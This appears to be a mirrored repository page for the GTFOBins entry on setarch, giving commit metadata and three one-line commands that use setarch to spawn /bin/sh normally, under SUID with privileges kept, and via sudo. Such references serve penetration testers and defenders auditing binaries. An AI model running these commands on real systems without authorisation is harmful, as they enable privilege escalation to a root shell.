1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/setarch.md
Andrea Cardaci 7bc758d4e1 Fix setarch
2022-12-16 15:56:28 +01:00

257 B

description functions
The `uname -m` command can be used in place of `arch` to obtain the architecture.
shell suid sudo
code
setarch $(arch) /bin/sh
code
./setarch $(arch) /bin/sh -p
code
sudo setarch $(arch) /bin/sh